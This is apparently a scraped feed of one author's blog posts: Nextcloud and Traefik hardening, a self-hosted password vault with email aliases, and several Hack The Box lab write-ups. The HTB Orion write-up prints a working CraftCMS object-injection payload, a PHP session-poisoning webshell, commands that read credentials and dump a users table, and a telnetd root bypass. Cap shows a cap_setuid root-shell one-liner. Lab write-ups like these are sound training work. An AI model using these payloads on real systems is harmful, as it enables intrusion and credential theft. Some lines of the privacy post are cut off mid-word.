DEV Community: PyHackSecGP

Homelab Day: Nextcloud + Traefik + HSTS Headers That Actually Work

PyHackSecGP — Tue, 11 Aug 2026 01:09:21 +0000

I spent part of today getting Nextcloud properly hardened behind Traefik + Cloudflare tunnel. Seemed simple. Two gotchas nearly wasted an hour.

The Stack

Nextcloud 29 in Docker on a Proxmox LXC
Traefik v3 as reverse proxy (separate LXC)
Cloudflare Tunnel for public access — no open inbound ports
Domain: cloud.example.com

Problem 1: Nextcloud Doesn't Know the Real Client IP

Out of the box, Nextcloud sees Traefik's IP as every client's IP. This breaks:

Brute force protection (bans your proxy instead of attackers)
Rate limiting
Admin logs (every request looks like it's from the same IP)

Fix — set trusted proxies via occ:

docker exec -u 33 nextcloud php occ config:system:set trusted_proxies 0 \
  --value=192.168.1.x  # your Traefik IP

# If you use Cloudflare Tunnel, add all Cloudflare CIDRs too:
docker exec -u 33 nextcloud php occ config:system:set trusted_proxies 1 \
  --value=173.245.48.0/20
# ... (repeat for all Cloudflare CIDRs from cloudflare.com/ips)

docker exec -u 33 nextcloud php occ config:system:set forwarded_for_headers 0 \
  --value=HTTP_X_FORWARDED_FOR

Note the -u 33 — run as www-data, not root, or occ refuses.

Problem 2: HSTS Headers Disappear Through Cloudflare Tunnel

Traefik has a built-in stsSeconds middleware:

middlewares:
  default-headers:
    headers:
      browserXssFilter: true
      contentTypeNosniff: true
      stsSeconds: 31536000

This should send Strict-Transport-Security. It does — when traffic hits Traefik directly. But through Cloudflare Tunnel, Cloudflare terminates TLS before your Traefik sees it. Traefik receives HTTP from the tunnel daemon, so it treats the connection as non-HTTPS and suppresses STS.

Fix: Force it as an explicit custom response header instead of relying on stsSeconds:

middlewares:
  default-headers:
    headers:
      browserXssFilter: true
      contentTypeNosniff: true
      stsSeconds: 31536000
      stsIncludeSubdomains: true
      customResponseHeaders:
        Strict-Transport-Security: "max-age=31536000; includeSubDomains; preload"

Then apply the middleware to your Nextcloud router:

routers:
  nextcloud-https:
    entryPoints:
      - websecure
    middlewares:
      - default-headers
    rule: Host(`cloud.example.com`)
    service: nextcloud
    tls:
      certResolver: cloudflare

Traefik hot-reloads dynamic config — no restart needed. Verify:

curl -I https://cloud.example.com/login | grep -i strict
# strict-transport-security: max-age=31536000; includeSubDomains; preload ✓

Other Warnings to Clear

Run occ setupchecks to audit everything. Common ones:

Maintenance window not set — without this, heavy background jobs run during your peak hours:

docker exec -u 33 nextcloud php occ config:system:set \
  maintenance_window_start --value=1 --type=integer

No default phone region — affects phone number validation in profiles:

docker exec -u 33 nextcloud php occ config:system:set \
  default_phone_region --value=CA

Installing Apps via CLI

Skip the web UI for bulk installs. occ app:install pulls from the Nextcloud app store directly:

docker exec -u 33 nextcloud php occ app:install calendar
docker exec -u 33 nextcloud php occ app:install contacts
docker exec -u 33 nextcloud php occ app:install notes
docker exec -u 33 nextcloud php occ app:install tasks
docker exec -u 33 nextcloud php occ app:install deck      # Kanban boards
docker exec -u 33 nextcloud php occ app:install spreed    # Talk/video
docker exec -u 33 nextcloud php occ app:enable bruteforcesettings

Each installs and enables in one step. Much faster than clicking through Settings → Apps.

Final Security Header Check

After all of the above:

curl -I https://cloud.example.com/login 2>&1 | grep -iE "strict|x-content|x-frame|x-xss"

Expected output:

strict-transport-security: max-age=31536000; includeSubDomains; preload
x-content-type-options: nosniff
x-frame-options: SAMEORIGIN
x-xss-protection: 1; mode=block

TL;DR

Set trusted_proxies + forwarded_for_headers via occ — critical if you're behind any proxy
stsSeconds alone won't work through Cloudflare Tunnel — use customResponseHeaders to force HSTS
occ app:install beats the web UI for batch app installs
Run occ setupchecks — it tells you exactly what's wrong

Nextcloud's occ CLI does most heavy lifting without ever touching the admin UI. Once you're comfortable with it, setup goes fast.

I Replaced Proton Pass with a Self-Hosted Password Manager + Private Email Aliases

PyHackSecGP — Mon, 10 Aug 2026 03:41:00 +0000

Why I wrote this: Every "privacy guide" online ends with "use a password manager." None of them tell you what to do when your email address itself is the breach vector. This is how I fixed both.

The Problem Nobody Talks About

Every breach notification I've ever received had one thing in common: my real email address was in the dump.

Password reuse is the obvious villain — but your email address is the silent one. It's your username on 40 sites. It's how attackers correlate your accounts across breaches. It's permanent.

I wanted a setup where:

Every new account gets a unique alias that routes to my real inbox
Every new account gets a unique password generat
Nothing is stored on someone else's server
The whole thing costs under $5/month

Here's what I built.

The Stack

Layer	Tool	Cost
Password vault	Vaultwarden (self-hosted)	~$0 (ru
Email aliasing	Addy.io	~$1/month (Lite plan)
Custom domain	Your registrar	~$1-2/month amortiz
Email receiving	Proton Mail	Free tier

Architecture

New signup →
Bitwarden browser extension generates alias via Addy
Bitwarden generates unique password
Alias routes: yourname+shop123@yourdomain.com → secr
You never expose your real address

Every account gets:

A unique alias (adjective-noun-1234@yourdomain.com
A unique 20+ char password
Zero connection to your real email

Step 1 — Set Up Addy.io with a Custom Domain

Register a cheap domain (.com works, .io is ove
Add it to Addy.io as a custom domain
Point the domain's MX records to Addy.io's mail ser
Add SPF, DKIM, and DMARC records for email authentication

The DNS records matter. Without DMARC enforcement, your aliases can be spoofed. Set p=quarantine initially, then move to p=reject once
you confirm legitimate mail flows correctly.

Step 2 — Configure the Catch-All

In Addy.io, enable a catch-all on your custom doma

anything@yourdomain.com routes to your Proton inbo
You don't need to pre-create aliases — just use shop-name@yourdomain.com and it works immediately
You can block or delete any alias that starts gettin

Set your catch-all recipient to a **dedicated Proton i Keep the real address completely out of the loop.

Step 3 — Connect Bitwarden to Addy.io

In Bitwarden (or Vaultwarden) settings:

`Settings → Generator → Username generator → Forwarded

Paste your Addy.io API key. Set your custom domain.

Now when you create a new login in Bitwarden, hit the he username field — it calls the Addy.io API, creates areal alias on the fly, and populates the field. No copy-paste. No manual alias creation.

Step 4 — Self-Host Vaultwarden

Vaultwarden is an open-source Bitwarden-compatible server. Docker Compose setup:

`yaml
services:
vaultwarden:
image: vaultwarden/server:latest
restart: unless-stopped
environment:
DOMAIN: "https://vault.yourdomain.com"
SIGNUPS_ALLOWED: "false"
volumes:
- ./vw-data:/data

Put it behind a reverse proxy (Traefik, Caddy, or nginowser extension connects to it identically to the cloudversion.

What I Got

Alias per site — when shop-abc123@yourdomain.com getich site sold my data
Zero email exposure — my real address doesn't exist in any vendor's DB
Auto-generation — alias + password created in one cl
Full self-hosted control — vault on my hardware, no subscription for the vault itself

Cost breakdown:

Domain: ~$15/year
Addy.io Lite: $12/year
Vaultwarden: $0 (already running homelab)
Total: ~$27/year (~$2.25/month)

What Would You Add?

I'm debating two upgrades:

Webhook on new alias creation → log to my SIEM for
Auto-disable aliases that receive breach notification emails

What's your aliasing/vault setup? Running something similar, or a totally different approach? Drop it in the comments — genuinely curious
what the tradeoffs look like for different threat mode

Running a homelab-first security stack. Posts on practical defensive security, self-hosting, and building tools that actually get used.

Day Log — 2026-08-09

PyHackSecGP — Sun, 09 Aug 2026 14:58:07 +0000

Day Log — 2026-08-09

Infrastructure day — not the glamorous kind, but the kind that makes everything else possible. Spent time verifying the self-hosted Git push pipeline rather than shipping features.

75hard-tracker — Tested and verified the Forgejo push pipeline end-to-end, then cleaned up the test artifact left behind. Matters because self-hosted Git is a real-world skill: organizations run private Gitea/Forgejo instances constantly, and knowing how to debug push hooks, verify remote connectivity, and keep repos clean translates directly to DevSecOps work. The problem it solved: I needed confidence the pipeline actually worked before trusting it with real project history.

Not a flashy day, but pipeline reliability is the unsexy foundation under every security automation project. A broken push pipeline means broken CI, broken deployment, and eventually broken trust in your tooling.

Next up: start committing actual 75hard-tracker feature code now that the push plumbing is confirmed solid. Lesson today — always verify infrastructure end-to-end before building on it, not after.

tags: security, devlog, homelab, opensource

HTB Orion — CraftCMS RCE, a Reverse Shell That Wouldn't Connect, and a Telnetd Auth Bypass

PyHackSecGP — Sun, 26 Jul 2026 01:05:25 +0000

HTB Orion — Writeup

Orion is rated "Very Easy" on Hack The Box, but the path to root turned into a genuinely useful debugging exercise — less about the exploit chain itself and more about what happens when your tooling fights you. This is a writeup of my own run at it, including the parts that didn't go according to plan.

Recon

Standard start:

nmap -sCV 10.129.69.96

Two ports: 22 (OpenSSH 8.9p1) and 80 (nginx 1.18.0), redirecting to orion.htb.

echo "10.129.69.96 orion.htb" | sudo tee -a /etc/hosts

The site was a telecom company page with "Powered by CraftCMS" in the footer. A quick directory fuzz confirmed /admin → /admin/login, and the login page leaked the exact CraftCMS version: 5.6.16.

That version is vulnerable to CVE-2025-32432 — an unauthenticated RCE in Craft's image transform endpoint, caused by Yii's object-configuration system trusting attacker-controlled JSON to decide which PHP class gets instantiated.

Manual CSRF Bypass (the interesting part)

The generate-transform action is CSRF-protected, so before touching the RCE I wanted to prove the bypass by hand rather than just firing Metasploit at it.

Craft/Yii ties CSRF validation to session state, so you need three things from the same session:

CraftSessionId cookie
CRAFT_CSRF_TOKEN cookie (Yii's server-side reference)
the actual csrfTokenValue, embedded in the login page's HTML/JS

curl -s -c cookies.txt http://orion.htb/admin/login -o login.html
grep -o 'csrfTokenValue[^,]*' login.html
cat cookies.txt

With those in hand, I built the exploit payload. Using GuzzleHttp\Psr7\FnStream with _fn_close: phpinfo, its destructor calls phpinfo() when the object is torn down:

{
  "assetId": 1,
  "handle": {
    "width": 123,
    "height": 123,
    "as session": {
      "class": "craft\\behaviors\\FieldLayoutBehavior",
      "__class": "GuzzleHttp\\Psr7\\FnStream",
      "__construct()": [[]],
      "_fn_close": "phpinfo"
    }
  }
}

curl -s -b cookies.txt \
  -H "X-CSRF-Token: <csrfTokenValue>" \
  -H "Content-Type: application/json" \
  -X POST "http://orion.htb/index.php?p=actions/assets/generate-transform" \
  -d @payload.json -o response.html -w "HTTP %{http_code}\n"
grep -i "PHP Version" response.html

PHP Version 8.2.30 came back. CSRF bypassed, arbitrary function execution confirmed.

The Reverse Shell That Wouldn't Come Home

With the vuln confirmed, I reached for Metasploit's exploit/linux/http/craftcms_preauth_rce_cve_2025_32432 module. First problem: it couldn't retrieve the session/CSRF page at all. Turned out the module doesn't set VHOST, so it was hitting nginx with Host: instead of Host: orion.htb. Setting VHOST orion.htb fixed that immediately.

Second problem was worse: the module got past the CSRF check, injected the stub — and then reported "no session was created," repeatedly. I ran tcpdump on tun0 during a retry and confirmed the target really was sending SYN packets to my listener. iptables counters showed packets being accepted. ss -tlnp confirmed a process was bound and listening on the exact IP:port. Every individual piece checked out — and yet no SYN-ACK ever went back.

I never fully root-caused that. Best guess: the module's built-in handler tears itself down faster than the target's connect-back completes. Rather than keep burning time on it, I pivoted to getting command execution without needing an inbound connection.

Manual RCE via Session Poisoning

Step 1. Poison a PHP session file with a webshell:

curl -g -s -c webshell_cookies.txt \
  "http://orion.htb/index.php?p=admin/dashboard&a=<?=eval(\$_GET['cmd']);die()?>" \
  -o /dev/null -D -

Note: -g stops curl treating [] in $_GET['cmd'] as glob syntax.

Step 2. Trigger via CSRF-bypass endpoint, instantiating yii\rbac\PhpManager with itemFile pointed at the poisoned session (init() calls require() on that path):

{
  "assetId": 1,
  "handle": {
    "width": 123,
    "height": 123,
    "as session": {
      "class": "craft\\behaviors\\FieldLayoutBehavior",
      "__class": "yii\\rbac\\PhpManager",
      "__construct()": [{"itemFile": "/var/lib/php/sessions/sess_<id>"}]
    }
  }
}

curl -g -s -b cookies.txt \
  -H "X-CSRF-Token: <token>" -H "Content-Type: application/json" \
  -X POST 'http://orion.htb/index.php?p=actions/assets/generate-transform&cmd=system("id");' \
  -d @payload2.json -o response.html

Note: cmd must be a PHP statement, not a raw shell command.
Note: curl rejects literal spaces in URLs — use %20 or base64-encode complex commands.

Output: uid=33(www-data) gid=33(www-data). Full RCE, no listener required.

Credential Harvesting

Craft's .env is world-readable to www-data:

# cmd=system("cat%20/var/www/html/craft/.env");
# → CRAFT_DB_USER=root, CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!

MySQL bound to 127.0.0.1 only — queried through RCE, base64-encoded to sidestep quoting headaches:

B64=$(base64 -w0 <<< "system('mysql -u root -pSuperSecureCraft123Pass! orion -e \"select username, email, password from users;\" 2>&1');" | sed 's/+/%2B/g')
curl -g -s -b cookies.txt -H "X-CSRF-Token: <token>" -H "Content-Type: application/json" \
  -X POST "http://orion.htb/index.php?p=actions/assets/generate-transform&cmd=eval(base64_decode('$B64'));" \
  -d @payload2.json -o response.html

Got bcrypt hash for adam@orion.htb.

Cracking — Plan A Failed

hashcat -m 3200 ...
# ERROR: no OpenCL device (clinfo showed rusticl, zero devices)

Switched to John:

john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
# cracked in ~19s

Password reuse → SSH as adam.

Privilege Escalation: CVE-2026-24061

netstat -tulnp     # telnet on 127.0.0.1:23
telnet --version   # GNU inetutils 2.7

USER env var passed unsanitized to login(1). -f root skips authentication:

USER="-f root" telnet -a 127.0.0.1

Instant root shell.

Takeaways

CSRF tokens are session-bound, not a magic wall — correctly replaying the cookie/token pairing is enough to bypass them for testing.
Object-injection RCE via config-driven instantiation (Yii's __class mechanism) is a pattern worth recognizing beyond Craft.
.env files and PHP session storage are attack surface — session files writable by the web server + require()-able = code execution primitive.
Tooling failures are data too. Confirming the firewall/socket layer wasn't the problem (tcpdump + iptables + ss) was useful diagnostic work even when I couldn't fully root-cause the issue.
Internal-only daemons are still root paths once you have any foothold.

Flags

Flags redacted per standard practice for retired-box writeups.

What Rooting an "Easy" HTB Box Taught Me About Chained Vulnerabilities

PyHackSecGP — Sat, 25 Jul 2026 21:53:23 +0000

I do AppSec triage for a living — mostly reading through Bugcrowd submissions
and reasoning about whether a reported issue is actually exploitable, and how
badly. So when I pick weekend HTB boxes to work through, I'm not really
looking for the hardest exploit dev challenge I can find. I'm looking for
boxes that exercise the same instincts I need on a Tuesday afternoon at work:
reading an unfamiliar application's surface area, noticing what's not
supposed to be reachable, and following a thread of small mistakes to their
logical end.

This weekend's box (an easy-rated Linux machine on HTB) turned out to be a
genuinely great case study for that, so I wanted to write up what I actually
learned rather than just "I did the box."

Recon taught me more than the target's services

The initial port scan only turned up two ports — SSH and a webserver — and
the webserver redirected to a hostname I hadn't seen before. That alone is a
small but useful reminder: a redirect to an unfamiliar hostname is a signal to
go add that hostname to your resolver and actually look at what's there,
not just note "HTTP open" and move on.

Once I was looking at the real site, a vhost fuzzing pass (ffuf, with the
default/junk response size filtered out) turned up two more subdomains that
weren't linked from the main site anywhere. One turned out to be a self-hosted
git server, the other an internal business application. Neither would have
been found by just clicking around the visible site. Attack surface and
visible surface are not the same thing, and I don't think I'll ever stop
being reminded of that.

The finding I'll actually remember: secrets survive "deletion"

The git server had a public repo containing infrastructure config for the
business app — a Docker Compose file and an environment file. The environment
file, as it currently existed, had its password field blanked out. Good
hygiene, right?

Except git log -p on that file showed an earlier commit where the real
value was still there in plaintext. Someone had added the credential, realized
the mistake, and "fixed" it by blanking the field in a new commit — without
realizing (or without rotating the credential either way) that the value was
still permanently readable by anyone who cloned the repo and looked at its
history.

This is, I think, the most broadly useful lesson from the whole exercise:
a secret that ever touches a commit is compromised the moment that commit
is pushed anywhere with more than one set of eyes on it. Blanking it in a
later commit does nothing for anyone who can run git log. The only real fix
is treating the credential as burned and rotating it — full history rewrites
are a nice-to-have at best, not a substitute.

I now have git log -p --all | grep -iE "password|secret|key|token" as a
near-automatic step any time I get read access to a git repo during recon,
lab or otherwise.

Credential reuse, twice over

That leaked password worked directly against the admin login of the business
application, once paired with an email address I found from an entirely
different piece of recon — a "careers" page had a job posting listing a
hiring manager's contact email. Worth remembering that OSINT on a target
isn't only infrastructure enumeration; sometimes it's just reading the
website like a human would and noting who's named where.

The application itself happened to be running a version with a recently
disclosed, authenticated remote code execution vulnerability, reachable
through a file-attachment feature. The validation preventing arbitrary file
uploads was purely client-side (extension checking in the browser), so the
actual exploitation was: rename the payload to an allowed extension, upload
it, then use an intercepting proxy to rename it back to something executable
before the request actually reached the server. I've now seen this exact
pattern — client-side-only extension validation — in more than one context,
both in labs and in real bug reports I've triaged. It's essentially
decorative security if there's no matching server-side check.

Once I had code execution as the web server's low-privilege user, a second
config file on the box (this time the CMS's own database configuration) had
yet another password — different from the git-leaked one — which worked
directly for SSH access as a real system user. Two independent instances of
password reuse across service boundaries, in a single chain. It's a small
thing to say "don't reuse passwords across services," but seeing it exploited
twice back to back in one box is a much better teacher than the advice on its
own ever is.

The privilege escalation: why `os.path.join()` isn't a safety net

This is the part I most wanted to write about, because it's a genuinely
transferable code-review lesson, not just a CTF trick.

Enumerating scheduled jobs on the box turned up a systemd timer running a
Python script as root every minute. The script's purpose was mundane:
sync files out of specially-flagged "template" git repositories into a
staging directory, presumably so they could be used elsewhere on the system.
The vulnerable logic looked, in spirit, like this:

for filepath in files_from_git_ls_tree(repo):
    target = os.path.join(staging_dir, filepath)
    os.makedirs(os.path.dirname(target), exist_ok=True)
    write_file(target, get_blob_contents(repo, filepath))

The bug is that filepath comes straight from git ls-tree output with zero
validation, and os.path.join() will happily honor ../ sequences in its
second argument — it does not sanitize traversal, it just joins path
components. If filepath were something like
../../../../root/.ssh/authorized_keys, the resulting target resolves
outside staging_dir entirely.

The catch is that Git's own CLI won't normally let you create a tracked file
whose path contains .. — that protection lives in the porcelain commands
(git add, git commit), not in the underlying object format itself. So the
actual technique was to build the raw git objects by hand: hash and
zlib-compress a blob and a sequence of tree objects directly into
.git/objects, chain them into a tree structure whose path components
included the traversal sequence, wrap it in a commit object, and point a
branch ref directly at that commit — bypassing the CLI's safety checks
entirely because I was never asking the CLI to validate a .. path; I was
constructing the low-level objects that represent one.

Once pushed to a repository flagged as a template, the vulnerable sync script
picked it up, joined its untrusted path onto the staging directory with no
validation, and wrote a file straight through to a sensitive location outside
the intended directory — running as root, which meant the write itself
carried root privileges.

The generalizable takeaway: path-joining functions across virtually every
language (os.path.join in Python, path.join in Node, Path.Combine in
.NET) treat .. as a normal path component and resolve it — they are not
sanitization functions, and none of them will stop a traversal on their own.
Any time a path component originates from data you don't fully control — a
filename from an upload, a path from a tarball, a path from a git tree,
anything — the resulting joined path needs to be canonicalized (e.g.
os.path.realpath()) and explicitly checked to confirm it's still inside the
intended base directory before it's touched. I now treat this as one of the
first things I look for when reviewing file-handling code in triage, right
alongside the more commonly-flagged injection points.

Closing thought

Nothing about this box required novel exploit development. Every step was a
recognizable category of mistake: a secret lingering in history, a password
reused where it shouldn't have been, client-side-only validation, and an
unsanitized path join. That's exactly why I think easy-to-medium HTB boxes are
worth doing deliberately rather than skipping to the hard ones — the value
isn't in the difficulty of any single step, it's in seeing how ordinary
mistakes chain together into full compromise, which is precisely the shape
most real-world findings take.

Tools used: nmap, ffuf, curl, Burp Suite, git, a small custom Python
script for raw git object construction, ssh, nc.

HTB Cap — IDOR, Plaintext FTP Creds, and the Danger of Linux Capabilities

PyHackSecGP — Sun, 28 Jun 2026 01:15:58 +0000

Hack The Box | Easy | Linux | Retired

If you're new to Hack The Box or prepping for OSCP, Cap is the box you want to do early. Not because it's flashy — it isn't. No exotic CVEs, no complex buffer overflows. Just three fundamental misconfigurations chained together cleanly:

An IDOR vulnerability on a web app storing network captures with sequential, predictable IDs
Plaintext FTP credentials leaking inside a packet capture
A Linux capability misconfiguration (cap_setuid on Python) that gives instant root

These aren't niche CTF tricks. IDOR is in the OWASP Top 10. FTP is still running on production networks in 2026. Linux capabilities are regularly misconfigured. Cap teaches you to recognize all three.

Recon

Start with nmap — always.

nmap -sC -sV -oN nmap_services.txt 10.129.12.255
nmap -p- --min-rate 10000 -oN nmap_allports.txt 10.129.12.255

Three ports open:

Port	Service	Notes
21/tcp	FTP (vsftpd 3.0.3)	Anonymous login disabled
22/tcp	SSH (OpenSSH 8.2p1)	Target once we have credentials
80/tcp	HTTP (Gunicorn)	Python WSGI app — main attack surface

FTP with anonymous login disabled means nothing to do there without credentials. SSH is a waiting room. The web app is where we start.

Enumeration

The Web App

Port 80 serves what calls itself a "Security Dashboard" — ironic, given what we're about to do to it. It has three sections: IP Config, Network Status, and a /capture endpoint that runs a 5-second live packet capture on the server.

The capture flow works like this:

Browse to /capture
The server captures 5 seconds of network traffic, saves it to disk
Redirects you to /data/<id> — where <id> is a sequential integer starting at 1
File is downloadable at /download/<id>

Two things jump out immediately:

First: The nav bar shows the logged-in username — nathan. Free username, no brute force required.

Second: Sequential integer IDs on a resource endpoint with no visible access control. That's IDOR waiting to be tested.

Testing for IDOR

After triggering a capture, the app redirects to /data/1. The obvious question: what's at /data/0?

curl http://10.129.12.255/data/0

It returns a valid page with a download link for /download/0. No authentication error. No ownership check. Just... the file.

This is a capture from the box's own setup — created before any player connected, containing real traffic from the server's initialization. We can download it freely because the app never checks whether the resource belongs to the requesting user.

IDOR in the real world: Insecure Direct Object References show up constantly in bug bounties and internal assessments. The pattern is always the same — a resource ID in a URL, no server-side ownership validation. The fix is always the same too: check on the server that the authenticated user owns the object they're requesting. Never trust the client to only ask for what they're allowed to see.

Foothold

Cracking Open the PCAP

wget http://10.129.12.255/download/0 -O capture0.pcap
tcpdump -r capture0.pcap -A | grep -A5 "USER\|PASS"

Inside the PCAP is an FTP session. FTP sends everything in plaintext over TCP — the handshake, the commands, the credentials. All of it. The capture caught the server authenticating to its own FTP service during setup:

USER nathan
PASS Buck3tH4TF0RM3!

Credentials recovered without touching a wordlist or running a single exploit.

Why FTP is still dangerous: FTP has existed since 1971 and has never had transport encryption. Every byte — including your username and password — travels as readable ASCII. SFTP and FTPS exist precisely because of this. In internal network assessments, being on the same network segment as FTP traffic, or finding a PCAP that captured it, is frequently enough to gain initial access. If you're doing an internal pentest and you see port 21 open on a server, start sniffing.

SSH as Nathan

Password reuse. The FTP credentials work directly on SSH:

ssh nathan@10.129.12.255
# Password: Buck3tH4TF0RM3!

Shell as nathan. User flag:

user.txt: ea34748abba367e85ac0aec4f9932bad

Privilege Escalation

Enumeration

sudo -l — nothing. No SUID binaries worth pursuing. Time to check Linux capabilities:

getcap -r / 2>/dev/null

Output:

/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip

There it is.

Understanding cap_setuid

Linux capabilities are a deliberate design choice — they allow granting specific privileges to a process without making it fully root. The idea is fine-grained access control: give a web server the ability to bind to port 80 (cap_net_bind_service) without giving it full administrative access.

cap_setuid lets a process call setuid() to change its effective user ID to any UID on the system — including UID 0, which is root.

When this capability is attached to an interpreter like Python, it means anyone who can run that interpreter can invoke setuid(0) from inside a script. No password. No sudo. No exploit. The OS hands you root because the binary is marked as allowed to ask for it.

This is documented on GTFOBins and comes up regularly in CTFs and real assessments. Admins sometimes set capabilities thinking it's a safer alternative to sudo — but cap_setuid on any general-purpose interpreter is functionally equivalent to unrestricted root access.

Exploitation

python3 -c "import os; os.setuid(0); os.system('/bin/bash')"

Breaking it down:

os.setuid(0) — changes the process's UID to 0 (root), permitted because cap_setuid is set on /usr/bin/python3.8
os.system('/bin/bash') — spawns a bash shell that inherits the root UID

Root shell. Instant.

root.txt: 3a0175a10c1007605d6b3813fb2cb37b

Full Attack Chain

nmap
  └─ port 80 (Gunicorn web app)
       └─ /capture → IDOR on /data/0
            └─ download PCAP
                 └─ tcpdump → FTP creds (plaintext)
                      └─ ssh as nathan (password reuse)
                           └─ getcap -r /
                                └─ cap_setuid on python3.8
                                     └─ setuid(0) → root

Key Takeaways

1. Always fuzz sequential IDs.
When you see /data/1 or /item/42 in a URL, the first thing you test is /data/0, /data/2, and IDs belonging to other users. If the app doesn't enforce ownership server-side, you have IDOR. This is one of the highest-yield, lowest-effort checks in web app testing.

2. FTP is a credential gift.
Anonymous login disabled doesn't mean FTP is useless. If you can capture traffic (via a PCAP, MITM position, or a misconfigured network tap), FTP credentials come out in plaintext. Always check port 21 on internal assessments and look for PCAPs anywhere on the filesystem.

3. Password reuse is the rule, not the exception.
One set of leaked credentials should always be tried on every other service: SSH, RDP, VPN, admin panels. Nathan's FTP password working on SSH is cliché in CTFs because it's realistic. Password reuse is endemic.

4. getcap -r / belongs on your privesc checklist.
Run it right after sudo -l. cap_setuid on any interpreter (Python, Perl, Ruby, Node) is root. GTFOBins has one-liners for all of them.

Tools Used

Tool	Purpose
`nmap`	Port scan and service fingerprinting
`curl` / browser	Web app enumeration, IDOR testing
`wget`	Download the vulnerable PCAP
`tcpdump`	Parse PCAP and extract plaintext FTP credentials
`ssh`	Initial access with recovered credentials
`getcap`	Identify Linux capability misconfigurations
`python3`	Exploit `cap_setuid` for root shell

References

I'm working through HTB machines as part of my OSCP prep. Follow along for writeups, notes, and lessons learned — one machine at a time.

Target: OSCP by early 2027. Current: building the reps.

HTB Cap — IDOR, Plaintext FTP Creds, and the Danger of Linux Capabilities

PyHackSecGP — Sun, 28 Jun 2026 01:14:09 +0000

Hack The Box | Easy | Linux | Retired

An IDOR vulnerability on a web app storing network captures with sequential, predictable IDs
Plaintext FTP credentials leaking inside a packet capture
A Linux capability misconfiguration (cap_setuid on Python) that gives instant root

Recon

Start with nmap — always.

nmap -sC -sV -oN nmap_services.txt 10.129.12.255
nmap -p- --min-rate 10000 -oN nmap_allports.txt 10.129.12.255

Three ports open:

Port	Service	Notes
21/tcp	FTP (vsftpd 3.0.3)	Anonymous login disabled
22/tcp	SSH (OpenSSH 8.2p1)	Target once we have credentials
80/tcp	HTTP (Gunicorn)	Python WSGI app — main attack surface

FTP with anonymous login disabled means nothing to do there without credentials. SSH is a waiting room. The web app is where we start.

Enumeration

The Web App

The capture flow works like this:

Browse to /capture
The server captures 5 seconds of network traffic, saves it to disk
Redirects you to /data/<id> — where <id> is a sequential integer starting at 1
File is downloadable at /download/<id>

Two things jump out immediately:

First: The nav bar shows the logged-in username — nathan. Free username, no brute force required.

Second: Sequential integer IDs on a resource endpoint with no visible access control. That's IDOR waiting to be tested.

Testing for IDOR

After triggering a capture, the app redirects to /data/1. The obvious question: what's at /data/0?

curl http://10.129.12.255/data/0

It returns a valid page with a download link for /download/0. No authentication error. No ownership check. Just... the file.

IDOR in the real world: Insecure Direct Object References show up constantly in bug bounties and internal assessments. The pattern is always the same — a resource ID in a URL, no server-side ownership validation. The fix is always the same too: check on the server that the authenticated user owns the object they're requesting. Never trust the client to only ask for what they're allowed to see.

Foothold

Cracking Open the PCAP

wget http://10.129.12.255/download/0 -O capture0.pcap
tcpdump -r capture0.pcap -A | grep -A5 "USER\|PASS"

USER nathan
PASS Buck3tH4TF0RM3!

Credentials recovered without touching a wordlist or running a single exploit.

Why FTP is still dangerous: FTP has existed since 1971 and has never had transport encryption. Every byte — including your username and password — travels as readable ASCII. SFTP and FTPS exist precisely because of this. In internal network assessments, being on the same network segment as FTP traffic, or finding a PCAP that captured it, is frequently enough to gain initial access. If you're doing an internal pentest and you see port 21 open on a server, start sniffing.

SSH as Nathan

Password reuse. The FTP credentials work directly on SSH:

ssh nathan@10.129.12.255
# Password: Buck3tH4TF0RM3!

Shell as nathan. User flag:

user.txt: ea34748abba367e85ac0aec4f9932bad

Privilege Escalation

Enumeration

sudo -l — nothing. No SUID binaries worth pursuing. Time to check Linux capabilities:

getcap -r / 2>/dev/null

Output:

/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip

There it is.

Understanding cap_setuid

cap_setuid lets a process call setuid() to change its effective user ID to any UID on the system — including UID 0, which is root.

Exploitation

python3 -c "import os; os.setuid(0); os.system('/bin/bash')"

Breaking it down:

os.setuid(0) — changes the process's UID to 0 (root), permitted because cap_setuid is set on /usr/bin/python3.8
os.system('/bin/bash') — spawns a bash shell that inherits the root UID

Root shell. Instant.

root.txt: 3a0175a10c1007605d6b3813fb2cb37b

Full Attack Chain

nmap
  └─ port 80 (Gunicorn web app)
       └─ /capture → IDOR on /data/0
            └─ download PCAP
                 └─ tcpdump → FTP creds (plaintext)
                      └─ ssh as nathan (password reuse)
                           └─ getcap -r /
                                └─ cap_setuid on python3.8
                                     └─ setuid(0) → root

Key Takeaways

4. getcap -r / belongs on your privesc checklist.
Run it right after sudo -l. cap_setuid on any interpreter (Python, Perl, Ruby, Node) is root. GTFOBins has one-liners for all of them.

Tools Used

Tool	Purpose
`nmap`	Port scan and service fingerprinting
`curl` / browser	Web app enumeration, IDOR testing
`wget`	Download the vulnerable PCAP
`tcpdump`	Parse PCAP and extract plaintext FTP credentials
`ssh`	Initial access with recovered credentials
`getcap`	Identify Linux capability misconfigurations
`python3`	Exploit `cap_setuid` for root shell

References

I'm working through HTB machines as part of my OSCP prep. Follow along for writeups, notes, and lessons learned — one machine at a time.

Target: OSCP by early 2027. Current: building the reps.

DEV Community: PyHackSecGP

Homelab Day: Nextcloud + Traefik + HSTS Headers That Actually Work

The Stack

Problem 1: Nextcloud Doesn't Know the Real Client IP

Problem 2: HSTS Headers Disappear Through Cloudflare Tunnel

Other Warnings to Clear

Installing Apps via CLI

Final Security Header Check

TL;DR

I Replaced Proton Pass with a Self-Hosted Password Manager + Private Email Aliases

The Problem Nobody Talks About

The Stack

Architecture

Step 1 — Set Up Addy.io with a Custom Domain

Step 2 — Configure the Catch-All

Step 3 — Connect Bitwarden to Addy.io

Step 4 — Self-Host Vaultwarden

Day Log — 2026-08-09

Day Log — 2026-08-09

HTB Orion — CraftCMS RCE, a Reverse Shell That Wouldn't Connect, and a Telnetd Auth Bypass

HTB Orion — Writeup

Recon

Manual CSRF Bypass (the interesting part)

The Reverse Shell That Wouldn't Come Home

Manual RCE via Session Poisoning

Step 1. Poison a PHP session file with a webshell:

Step 2. Trigger via CSRF-bypass endpoint, instantiating yii\rbac\PhpManager with itemFile pointed at the poisoned session (init() calls require() on that path):

Credential Harvesting

Cracking — Plan A Failed

Privilege Escalation: CVE-2026-24061

Takeaways

Flags

What Rooting an "Easy" HTB Box Taught Me About Chained Vulnerabilities

Recon taught me more than the target's services

The finding I'll actually remember: secrets survive "deletion"

Credential reuse, twice over

